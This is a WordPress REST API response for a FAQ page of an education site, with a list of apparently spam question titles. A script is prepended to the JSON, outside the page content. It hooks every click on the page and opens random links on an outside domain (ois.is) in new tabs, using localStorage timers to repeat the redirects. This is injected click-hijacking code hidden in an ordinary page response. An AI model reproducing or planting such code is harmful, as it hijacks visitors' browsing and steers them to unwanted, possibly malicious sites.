<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":871,"date":"2014-10-16T17:04:22","date_gmt":"2014-10-16T09:04:22","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?page_id=871"},"modified":"2014-10-16T17:04:44","modified_gmt":"2014-10-16T09:04:44","slug":"dwqa-questions","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/yujuwu\/?page_id=871","title":{"rendered":"FAQ"},"content":{"rendered":"<div class=\"dwqa-container\" ><div class=\"dwqa-questions-archive\"><form id=\"dwqa-search\" class=\"dwqa-search\"><input data-nonce=\"bf39044421\" type=\"text\" placeholder=\"What do you want to know?\" name=\"qs\" value=\"\"><\/form><div class=\"dwqa-question-filter\"><span>Filter:<\/span><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=all\" class=\"active\">\u6240\u6709<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=open\" class=\"\">\u958b\u653e<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=resolved\" class=\"\">\u5df2\u89e3\u6c7a<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=closed\" class=\"\">\u95dc\u9589<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=unanswered\" class=\"\">Unanswered<\/a><select id=\"dwqa-sort-by\" class=\"dwqa-sort-by\" onchange=\"this.options[this.selectedIndex].value && (window.location = this.options[this.selectedIndex].value);\"><option selected disabled>Sort by<\/option><option value=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;sort=views\">Views<\/option><option value=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;sort=answers\">\u7b54\u6848<\/option><option value=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;sort=votes\">Votes<\/option><\/select><\/div><div class=\"dwqa-questions-list\"><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=%e8%a8%98%e5%b8%b3%e5%a3%ab-%e6%88%90%e6%9c%ac%e6%9c%83%e8%a8%88-for-business-the-principles-are-made-to-be-broken\">\u8a18\u5e33\u58eb \u6210\u672c\u6703\u8a08 For Business: The principles Are Made To Be Broken<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Della Castellano<\/a> \u63d0\u554f\u65bc 3 \u5929 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>4<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=nine-ways-to-guard-against-%e8%a8%98%e5%b8%b3%e5%a3%ab-%e8%80%83%e8%a9%a6%e7%a7%91%e7%9b%ae\">Nine Ways to Guard Against \u8a18\u5e33\u58eb \u8003\u8a66\u79d1\u76ee<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Clarice Hand<\/a> \u63d0\u554f\u65bc 5 \u5929 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>5<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=free-recommendation-on-%e8%a8%98%e5%b8%b3%e5%a3%ab-%e6%9c%83%e8%a8%88%e5%ad%b8%e6%a6%82%e8%a6%81\">Free Recommendation On \u8a18\u5e33\u58eb-\u6703\u8a08\u5b78\u6982\u8981<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Leandra Leggo<\/a> \u63d0\u554f\u65bc 1 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>9<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=three-easy-steps-to-more-%e8%a8%98%e5%b8%b3%e5%a3%ab-%e8%80%83%e9%a1%8c-sales\">Three Easy Steps To More \u8a18\u5e33\u58eb \u8003\u984c Sales<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Alexandra Alexander<\/a> \u63d0\u554f\u65bc 2 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>7<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=4-romantic-%e7%a4%be%e5%9c%98%e6%b3%95%e4%ba%ba%e7%99%bb%e8%a8%98%e7%94%b3%e8%ab%8b-vacations\">4 Romantic \u793e\u5718\u6cd5\u4eba\u767b\u8a18\u7533\u8acb Vacations<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Garfield Branch<\/a> \u63d0\u554f\u65bc 4 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>11<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><\/div><div class=\"dwqa-questions-footer\"><div class=\"dwqa-pagination\"><span aria-dwqa-current=\"page\" class=\"dwqa-page-numbers dwqa-current\">1<\/span><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=2&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">2<\/a><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=3&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">3<\/a><span class=\"dwqa-page-numbers dots\">...<\/span><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=504&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">504<\/a><a class=\"next dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=2&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">\u4e0b\u4e00\u9801 &raquo;<\/a><\/div><div class=\"dwqa-ask-question\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=872\">\u63d0\u51fa\u554f\u984c<\/a><\/div><\/div><\/div><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/871"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=871"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/871\/revisions"}],"predecessor-version":[{"id":873,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/871\/revisions\/873"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=871"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}